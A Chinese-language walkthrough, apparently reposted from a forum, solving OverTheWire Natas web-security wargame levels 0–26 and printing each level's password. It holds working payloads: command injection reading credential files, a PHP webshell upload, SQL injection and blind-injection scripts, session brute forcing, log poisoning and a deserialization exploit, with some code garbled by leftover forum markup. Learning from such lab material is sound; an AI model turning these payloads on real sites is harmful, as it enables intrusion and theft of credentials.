web安全Wargame—Natas解題思路(1-26)


前言:

Natas是一個教授服務器端Web安全基礎知識的 wargame,通過在每一關尋找Web安全漏洞,來獲取通往下一關的秘鑰,適合新手入門Web安全。


接下來給大家分享一下,1-20題的WriteUp



Natas0:

提示密碼就在本頁,右鍵查看源碼,注釋中發現 key
KeygtVrDuiDfck831PqWsLEZy5gyDz1clto
知識點:查看頁面源碼



Natas1:

提示密碼就在本頁,但右鍵被禁用,可以使用 F12查看元素得到key
(常用的查看源碼方法:右鍵查看、 F12查看元素,給頁面url前加’view-source:’查看,使用Linux Curl命令查看)
KeyZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi
知識點:查看頁面源碼



Natas2:

在源碼中發現一個圖片的鏈接,分析圖片,無隱寫內容,聯想到目錄權限問題,訪問同級目錄 http://natas2.natas.labs.overthewire.org/files,發現存在名為users.txt的文件,讀取得到key
KeysJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14
知識點:水平越權



Natas3:

在源碼中發現提示:無信息泄露,谷歌這次不會發現它。提到了搜索引擎,猜測爬蟲協議 robots.txt中存在信息泄露,訪問網站爬蟲協議http://natas3.natas.labs.overthewire.org/robots.txt,發現Disallow: /s3cr3t/,嘗試訪問一下該目錄http://natas3.natas.labs.overthewire.org/s3cr3t/,發現了user.txt,讀取得到key
KeyZ9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ
知識點:爬蟲協議 robots.txt



Natas4:

提示來源出錯,合法用戶只能來自 "http://natas5.natas.labs.overthewire.org/",在httpheader中,referer代表從哪里跳轉到本頁面,只需要將該url寫入到referer中即可。
(修改 referer的值,可以用Burp Suite抓包后修改,也可以使用firefox插件hackbar來完成,還可以使用curl命令的 --referer參數來實現。)
KeyiX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
知識點:頁面來源偽造



Natas5:

提示不允許進入,沒有登錄,查看 cookie信息后發現存在loggedin項,且值為0,猜測該值代表是否登錄,將其修改為1,得到key
cookie信息是網站為了辨別用戶身份、進行 session 跟蹤而儲存在用戶本地終端上的數據,可以使用Burp Suite抓包后修改,也可以使用火狐的FireBug插件來編輯修改,還可以使用linux curl命令的 --cookie參數來修改)
KeyaGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
知識點: cookie偽造



Natas6:

該題提供了 php源碼,點擊查看分析,發現調用了includes/secret.inc頁面,在輸入一個變量secret后,如果和includes/secret.inc中 預設的secret相同,則輸出密碼,嘗試訪問該頁面http://natas6.natas.labs.overthewire.org/includes/secret.inc,在其源碼中發現預設字符——"FOEIUWGHFEEUHOFUOIU",將該字符輸入到之前的表單查詢中,得到key
Key7z3hEENjQtflzgnT29q7wAvMNfZdh0i9
知識點: PHP Include 



Natas7:

頁面出現了兩個選項,點擊后跳轉,觀察 url發現了page參數,猜測可能存在任意文件讀取漏洞,且源碼給了提示,密碼在/etc/natas_webpass/natas8 中,將/etc/natas_webpass/natas8設為page參數的值,成功讀取到key
KeyDBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe
知識點:  任意文件讀取漏洞



Natas8:

同樣給了 php源碼,審計源碼,發現給了一個預設參數encodedSecret,以及一個加密函數encodeSecret 該函數將secret參數先進行base64編碼、然后用strrev 函數進行倒序,再用 bin2hex 函數轉為16進制,返回結果。如果點擊提交,且post傳入的secret 參數值經加密后,等於 encodedSecret 參數的值,則輸出key。至此,只需要將 encodedSecret的值逆推,然后post即可。
先把 ’3d3d516343746d4d6d6c315669563362’16進制轉成字符,然后把該字符串倒序,最后將之base64解碼,得到’oubWYf2kBqz',將該字符串post得到key
KeyW0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
知識點:常見編碼、 php函數



Natas9:

仍然給出源碼,審計,發現使用了 php命令執行函數passthru,執行了grep命令,由此想到命令注入漏洞,且已知各等級密碼均存儲在/etc/natas_webpass目錄下,使用;|&來截斷grep命令,再用cat讀取密碼,用#注釋掉后面的內容,構造如下:& cat /etc/natas_webpass/natas10 #post得到key
KeynOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
知識點:命令注入漏洞



Natas10:

這題和上題類似,但使用了正則過濾,過濾掉了一些字符,無法繼續截斷,但可以利用 grep命令匹配密碼來實現,grep支持正則,輸入 [a-zA-Z] /etc/natas_webpass/natas11 #
即可得到 key
KeyU82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
知識點:正則表達式、 grep命令



Natas11:

頁面提示 cookie被異或加密保護,查看源碼,發現了一個預定義參數和三個函數
參數:$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff") #猜測將showpassword設置為yes即可得到密碼。
異或加密函數:
[PHP]  純文本查看 復制代碼
?
01
02
03
04
05
06
07
08
09
10
function xor_encrypt( $in ){
     $key = '<censored>' ;  #預定義參數key
     $text = $in ;          #輸入參數
     $outText = '' ;          #輸出參數
     // Iterate through each character
     for ( $i =0; $i < strlen ( $text ); $i ++) {    # for 循環,遍歷輸入參數
     $outText .= $text [ $i ] ^ $key [ $i % strlen ( $key )];  #將輸入參數對應位和key對應位異或,key位數不夠則從頭循環,結果存到輸出參數
     }
     return $outText ;         #返回加密結果
}

加載函數: function loadData($def),加載data,將$_COOKIE["data"]解密還原,存為 $mydata 數組,返回$mydata
保存函數:function saveData($d),將傳入的參數,經過編碼處理,存入$_COOKIE["data"]中。
主要思路就是得到構造新的輸入參數,使得 "showpassword"=>"yes",編碼后得到新的data。這就要求要知道key的值,而已有一個默認值,由此逆推得到key
[PHP]  純文本查看 復制代碼
?
01
02
03
04
05
06
07
08
09
10
11
12
13
<?php
$defaultdata = array ( "showpassword" => "no" , "bgcolor" => "#ffffff" );
$data = 'ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw' ;
function xor_encrypt( $in , $out ) {
     $key = '' ;
     $text = $in ;
     for ( $i =0; $i < strlen ( $text ); $i ++) {
     $key .= $text [ $i ] ^ $out [ $i ];
     }
     return $key ;
}
  echo xor_encrypt(json_encode( $defaultdata ), base64_decode ( $data ));
?>
得到 key:$key = ’qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq’
再利用 key,構造新data
[PHP]  純文本查看 復制代碼
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
<?php
$defaultdata = array ( "showpassword" => "yes" , "bgcolor" => "#ffffff" );
function xor_encrypt( $in ) {
     $key = 'qw8J' ;
     $text = $in ;
     $outText = '' ;
 
     // Iterate through each character
     for ( $i =0; $i < strlen ( $text ); $i ++) {
     $outText .= $text [ $i ] ^ $key [ $i % strlen ( $key )];
     }
     return $outText ;
}
echo base64_encode (xor_encrypt(json_encode( $defaultdata )));
?>
得到新的 dataClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK
替換 cookie中的data,得到key
KeyEDXp0pS26wLKHZy1rDBPUZk0RK**IR3
知識點:常見編碼、異或逆推、修改 cookie



Natas12:

文件上傳頁面,發現沒做過濾,只是把上傳后的文件名及后綴名修改了,思路就是上傳一個簡單的 php文件,讀取/etc/natas_webpass/natas13。點擊上傳php文件,用burp攔截,修改name后綴為php,訪問返回的php頁面即可得到key  
[PHP]  純文本查看 復制代碼
?
1
2
3
<?php
system( 'cat /etc/natas_webpass/natas13' );
?>
KeyjmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
知識點:文件上傳、抓包修改
 
 

Natas13:

還是文件上傳,測試上傳發現過濾, exif_imagetype()函數,用於檢驗文件是否是圖片,讀取一個圖像的第一個字節並檢查其簽名,只要在php文件最前面加上圖片信息簽名即可繞過。
[PHP]  純文本查看 復制代碼
?
1
2
3
4
5
GIF89a
 
<?php
system( 'cat /etc/natas_webpass/natas14' );
?>
其余與 12題相同。
KeyLg96M10TdfaPyVBkJdjymbllQ5L6qdl1
知識點:文件上傳,繞過簽名檢測



Natas14:

是一個登錄界面,有源碼,查看源碼后發現是一個無過濾的 sql注入題,使用萬能密碼登錄即可。
Username:admin" or 1=1 #
password沒做空值校驗,隨便輸入或不輸入皆可。
KeyAwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
知識點: sql萬能密碼



Natsa15:

依舊是 sql注入題,查看源碼,分析一下,發現沒有sql信息的回顯,只有對用戶名的判斷,確定是sql盲注。
Sql查詢語句如下:
[PHP]  純文本查看 復制代碼
?
1
$query = "SELECT * from users where username=\"" . $_REQUEST [ "username" ]. "\"" ;
Databse構造語句如下:
[PHP]  純文本查看 復制代碼
?
1
2
3
4
CREATE TABLE `users` (
   `username` varchar(64) DEFAULT NULL,
   `password` varchar(64) DEFAULT NULL
);
猜測一下,是否存在 user=natas16,返回存在,因為每一關的key都長達32位,不容易爆破,使用注入得到password更合適一些。雖然sql語句中只查詢了username,但可以使用and將對password的查詢連接起來,構成布爾注入,使用like模糊查詢,最終得到key
Payload
[PHP]  純文本查看 復制代碼
?
1
'username' : 'natas16" AND password LIKE binary "%s"%字符'
腳本:
[Python]  純文本查看 復制代碼
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
import requests
 
chr = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz"
payload = r 'natas16" AND password LIKE binary "%s" #'
#使用like模糊查詢不會區分大小寫,要帶上binary。
key = "%"
while len (key) < = 32 : #循環32次
     for i in chr :        #確定字符
         a = key[: - 1 ] + i + key[ - 1 :]
         print a
         req = requests.post(url = url,data = { 'username' :payload % a})
         if "This user exists" in req.text:
             key = a
             print key
     print key    #輸出key
KeyWaIHEacj63wnNIBROHeqi3p9t0m5nhmh
知識點: sql盲注之布爾盲注



Natas16:
這一關相較於之前的第 10題,加上了正則過濾,使得;|&`\'"無法使用,且grep的檢索中添加了引號,無法添加其他選項和參數。代碼:
[PHP]  純文本查看 復制代碼
?
1
passthru ( "grep -i \"$key\" dictionary.txt" );
但在 PHP中,$()可以在引號中使用,因此,可以再次構造內層grep的正則匹配,即:
[PHP]  純文本查看 復制代碼
?
1
passthru ( "grep-i " ( $grep ^a  etc/natas_webpasswd/natas17)wrong \ " dictionary.txt" );
如果 password的首字母為a,內層檢索到了內容,則返回不為空,與后面的查詢連接,使得外層檢索變形,從而不返回標志字符hello
如果不為 a,則內層未檢索到,返回為空,則繼續進行外層檢索,會輸出標志字符wrong或其他內容。
抓包查看數據提交方式,是 get提交,格式為?needle=xxxx&submit=Search
據此,構造腳本,得到 key
腳本:
[Python]  純文本查看 復制代碼
?
01
02
03
04
05
06
07
08
09
10
11
import requests
key = ''
char = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' [ / color][ / font][ / align][align = left][font = 宋體][color = Black]
[ / color][ / font][ / align][align = left][font = 宋體][color = Black] while len (key) < 32 :
     for i in range ( len (char)):
         payload = { 'needle' : '$(grep ^' + key + char + '.* /etc/natas_webpass/natas17)wrong' , 'submit' : 'Search' }
         req = requests.get(url = url,params = payload)
         if 'wrong' not in req.text:
             key + = char
     print key
Key8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
知識點:正則匹配, php命令執行



Natas17:

分析源碼,又是一道 sql注入題,與15題的內容類似,只是不再提供回顯,所有echo均被注釋掉了,查詢語句如下:
猜測到 usernamenatas18,依舊是盲注的思想,但因為沒有作為判斷的回顯,所以這次選擇時間盲注,使用if()sleep()函數完成注入。
腳本:
[Python]  純文本查看 復制代碼
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
import requests
[ / color] [color = Black]
key = ''
 
for i in range ( 1 , 33 ):
     a = 32
     c = 126
     while a<c:
         b = (a + c) / 2
         payload = r 'natas18" and if(%d<ascii(mid(password,%d,1)),sleep(2),1) and "" like "' % (b,i)
         try :
             req = requests.post(url = url,data = { "username" :payload},timeout = 2 )
         except requests.exceptions.Timeout,e:
             a = b + 1
             b = (a + c) / 2
             continue
         c = b
     key + = chr (b)
     print key
KeyxvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP
知識點: sql盲注之時間盲注



Natas18:

一個登錄界面,查看源碼,發現沒有連接數據庫,使用 Session登錄,且$maxid設定了不大的上限,選擇采取爆破。
burp抓包,給headers里添加cookiePHPSESSID,使用intruder的狙擊模式,爆破PHPSESSID,從1-640,當為138時,成功登陸,得到key
過程如圖:
<ignore_js_op> 
<ignore_js_op>  
 
Key4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs
知識點:  Session登錄,暴力破解



Natas19:

提示,遇上一題源碼類似,只是 PHPSESSID不連續。隨便輸入usernamepassword,抓包觀察PHPSESSID,發現是輸入的信息,按照password-username的格式,由ascill碼轉化為16進制,猜測正確PHPSESSID,應該是id-admin,用python構造字典,burp抓包后使用intruder模塊,導入字典后進行暴力破解。
字典腳本:
[Python]  純文本查看 復制代碼
?
1
2
3
4
5
6
7
a = []
for i in range ( 30 , 40 ):
     for j in range ( 30 , 40 ):
         a.append( '%d%d' % (i,j))
with open ( "1.txt" , "w" )as f:
     for i in a:
         f.write(i + "\n" )
PHPSESSID=38392d61646d696e時,得到key
Keyeofm3Wsshxc5bwtVnEuGIlr7ivb9KABF
知識點: Session登錄,常見編碼,暴力破解



Natas20:

讀取源碼,發現把 sessionID存到了文件中,按鍵值對存在,以空格分隔,如果$_SESSION["admin"]==1,則成功登陸,得到key。並且通過查詢所提交的參數,也會被存到文件中,因此,可以采取注入鍵值對admin 1的方式來實現修改。
使用 burp抓包,將name參數修改位:name=111 %0Aadmin 1,得到key
KeyIFekPyrQXftziDEsUr3x21sYuahypdgJ
知識點: Session登錄,注入參數
 
 
Natas21:
提示 http://natas21.natas.labs.overthewire.org/頁面和http://natas21-experimenter.natas.labs.overthewire.org頁面同位,也就是共用服務器,session也是共用的。
查看第一個網頁源碼,發現主要功能就是判斷 session[admin]=1后顯示密碼;
[PHP]  純文本查看 復制代碼
?
1
2
3
4
5
查看第一個網頁源碼,發現主要功能就是判斷session[admin]=1后顯示密碼;
if ( $_SESSION and array_key_exists ( "admin" , $_SESSION ) and $_SESSION [ "admin" ] == 1) {
print "You are an admin. The credentials for the next level are:<br>" ;
print "<pre>Username: natas22\n" ;
print "Password: <censored></pre>" ;

print "Password: <censored></pre>";[/mw_shl_code]
查看第二個網頁源碼,發現可以提交數據,更新session,雖然有POST參數校驗,但仍可以注入admin=1。
可利用源碼:
[PHP]  純文本查看 復制代碼
?
1
2
3
4
5
6
//  if update was submitted, store it
if ( array_key_exists ( "submit" , $_REQUEST )) {                        
     foreach ( $_REQUEST as $key => $val ) {
     $_SESSION [ $key ] = $val ;
     }
}
直接在第二個頁面提交數據, burp抓包截取,在post參數最后加上admin=1,然后使用第二個網頁的session id,更新第一個網頁的session id,刷新得到key
Key:chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ
知識點: 共用 sessionsession注入


Natas22:
查看源碼,發現關鍵代碼:
[PHP]  純文本查看 復制代碼
?
1
2
3
4
5
if ( array_key_exists ( "revelio" , $_GET )) {
     // only admins can reveal the password
     if (!( $_SESSION and array_key_exists ( "admin" , $_SESSION ) and $_SESSION [ "admin" ] == 1)) {
     header( "Location: /" );
     }
header(“Location: /”) 中, header 函數表示發送一個原始  Http Header 到客戶端,指定 Location 是進行重定向, / 表示本地,即刷新。
[PHP]  純文本查看 復制代碼
?
1
2
3
4
5
6
//  if update was submitted, store it
if ( array_key_exists ( "submit" , $_REQUEST )) {                        
     foreach ( $_REQUEST as $key => $val ) {
     $_SESSION [ $key ] = $val ;
     }
}
如果 get參數中包含revelio,則輸出key
總結思路,先在 get參數中添加revelio,滿足顯示key條件,但要避免刷新,所以使用burp抓包,把第一次抓到的數據包放到RepeaterGo一下,這樣可以避免第二次的跳轉,在返回中看到了key
KeyD0vlad33nQF0Hz2EP255TP5wSW9ZsRSE
知識點: header重定向、burp截取抓包
 
 
Natas23:
登錄題,查看源碼,發現關鍵代碼:
[PHP]  純文本查看 復制代碼
?
1
2
3
4
5
6
7
8
if ( array_key_exists ( "passwd" , $_REQUEST )){
        if ( strstr ( $_REQUEST [ "passwd" ], "iloveyou" ) && ( $_REQUEST [ "passwd" ] > 10 )){
            echo "<br>The credentials for the next level are:<br>" ;
            echo "<pre>Username: natas24 Password: <censored></pre>" ;
        }
        else {
            echo "<br>Wrong!<br>" ;
        }
要求提交的passwd參數中包含字符iloveyou,且要其數值大於10。考察的就是php字符與數值比較時,會從開頭截取數字,到字符前為止。所以構造passwd為11iloveyou即可。
Key:OsRmXFguozKpTZZ5X14zNO43379LZveg
知識點:php弱類型
 
 
Natas24:
還是登錄題,查看源碼,發現關鍵代碼:
[AppleScript]  純文本查看 復制代碼
?
01
02
03
04
05
06
07
08
09
10
< ?php
     if ( array_key_exists ( "passwd" , $_REQUEST ) ) {
         if ( !strcmp ( $_REQUEST[ "passwd" ] , "<censored>" ) ) {
             echo "<br>The credentials for the next level are:<br>" ;
             echo "<pre>Username: natas25 Password: <censored></pre>" ;
         }
         else {
             echo "<br>Wrong!<br>" ;
         }
}
存在 strcmp()函數,strcmp()函數的作用是比較兩個字符串,相同則為0。由此自然想到了strcmp漏洞,strcmp函數無法比較數組,會返回0,將passwd輸入為數組即可繞過。
Payload: [url]http://natas24.natas.labs.overthewire.org/?passwd[/url][]=1
KeyGHF6X7YwACaYYssHVY05cFq83hRktl4c
知識點: strcmp繞過漏洞
 
 
Natas25:
查看源碼,發現關鍵函數:
[PHP]  純文本查看 復制代碼
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
function setLanguage(){                         #選擇語言
         /* language setup */
         if ( array_key_exists ( "lang" , $_REQUEST ))       
             if (safeinclude( "language/" . $_REQUEST [ "lang" ] ))#檢查輸入
                 return 1;
         safeinclude( "language/en" );          
     }
function safeinclude( $filename ){                #檢查輸入參數
         // check for directory traversal
         if ( strstr ( $filename , "../" )){            #禁止目錄遍歷
             logRequest( "Directory traversal attempt! fixing request." );
             $filename = str_replace ( "../" , "" , $filename );
         }
         // dont let ppl steal our passwords
         if ( strstr ( $filename , "natas_webpass" )){  #文件訪問控制
             logRequest( "Illegal file access detected! Aborting!" );
             exit (-1);
         }
         // add more checks...
         if ( file_exists ( $filename )) {           #檢測目錄是否存在
             include ( $filename );
             return 1;
         }
         return 0;
}
 
function logRequest( $message ){                   #請求日志
    $log = "[" . date ( "d.m.Y H::i:s" ,time()) . "]" ;   #時間日期
    $log = $log . " " . $_SERVER [ 'HTTP_USER_AGENT' ];#加http_user_agent
    $log = $log . " \"" . $message . "\"\n" ;         #加上message
    $fd = fopen ( "/var/www/natas/natas25/logs/natas25_" . session_id() . ".log" , "a" );                                            #將日志信息寫入文件
         fwrite( $fd , $log );
         fclose( $fd );
     }
禁止目錄遍歷中,將 ”../”替換成了”“,但這是可以繞過的,if是一次性把所有符合的替換掉,構造復合的參數即可繞過,例如:....//..././
而文件訪問控制,則使得無法直接讀取 key,但存在日志信息,日志信息中保存有http_user_agent,這可以是新的注入點,把讀取文件的php命令寫入其中,訪問即可得到key
先訪問日志文件
../?lang=....//....//....//....//....//....//var/www/natas/natas25/logs/natas25_65pv1nmmkorshdjlem56ktptf5.log
再使用 burp抓包,修改HTTP_USER_AGRENT為:<?php include("/etc/natas_webpass/natas26")?>,在返回的日志文件中得到key
KeyoGgWAJ7zcGT28vYazGo4rkhOPDhBu34T
知識點: 繞過 if替換、代碼審計

 
Natas26:
查看源碼,發現了 php反序列化函數unserialize(),且可以通過cookie來控制unserialize()的變量,猜測存在php反序列化漏洞。
Php序列化:php為了方便進行數據的傳輸,允許把復雜的數據結構,壓縮到一個字符串中。使用serialize()函數。
Php反序列化:將被壓縮為字符串的復雜數據結構,重新恢復。使用unserialize() 函數。
php反序列化漏洞:php有許多魔術方法,如果代碼中使用了反序列化 unserialize()函數,並且參數可控制,那么可以通過設定注入參數來完成想要實現的目的。
關鍵代碼:
[PHP]  純文本查看 復制代碼
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
class Logger{                
         private $logFile ;                        #三個私有參數
         private $initMsg ;
         private $exitMsg ;
 
         function __construct( $file ){    #類創建時調用
             // initialise variables     #初始化變量
             $this ->initMsg= "#--session started--#\n" ;
             $this ->exitMsg= "#--session end--#\n" ;
             $this ->logFile = "/tmp/natas26_" . $file . ".log" ;
 
             // write initial message       #寫入初始信息
             $fd = fopen ( $this ->logFile, "a+" );
             fwrite( $fd , $initMsg );
             fclose( $fd );
         }                      
         function log( $msg ){                #寫入信息
             $fd = fopen ( $this ->logFile, "a+" );
             fwrite( $fd , $msg . "\n" );
             fclose( $fd );
         }                      
         function __destruct(){        #類銷毀時調用
             // write exit message        #寫入退出信息       
             $fd = fopen ( $this ->logFile, "a+" );
             fwrite( $fd , $this ->exitMsg);
             fclose( $fd );
         }                      
}
觀察代碼可以發現,在類銷毀時調用的 __destruct()魔術方法,可以向任意文件寫入信息。
if (array_key_exists("drawing", $_COOKIE)){
            $drawing=unserialize(base64_decode($_COOKIE["drawing"]));
        }
而且,可以通過 cookie來寫入序列化注入信息。
總結思路,通過 cookie來注入信息,利用反序列化漏洞來構造可以執行查看keypayload,寫入到目錄下即可。
Payload
[PHP]  純文本查看 復制代碼
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
<?php
class Logger{
         private $logFile ;
         private $initMsg ;
         private $exitMsg ;
         function __construct(){   #注入信息
             $this ->initMsg= "" ;
             $this ->exitMsg= "<?echo include '/etc/natas_webpass/natas27';?>" ;
             $this ->logFile= "img/aaa.php" ;
         }
}
 
$test = new Logger();
echo serialize( $test );
echo "\n" ;
echo base64_encode (serialize( $test ));    #顯示base64編碼后的序列化字符串
?>
本地執行,得到 base64編碼后的序列化字符串:
Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czoxMToiaW1nL2FhYS5waHAiO3M6MTU6IgBMb2dnZXIAaW5pdE1zZyI7czowOiIiO3M6MTU6IgBMb2dnZXIAZXhpdE1zZyI7czo0NjoiPD9lY2hvIGluY2x1ZGUgJy9ldGMvbmF0YXNfd2VicGFzcy9uYXRhczI3Jzs/PiI7fQ==
把字符串覆蓋到 cookie[drawing]中,訪問../img/aaa.php即可得到key
Key:55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ
知識點: php反序列化漏洞、代碼審計

END~

大家有任何問題可以提問,更多文章可到i春秋論壇閱讀喲~


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM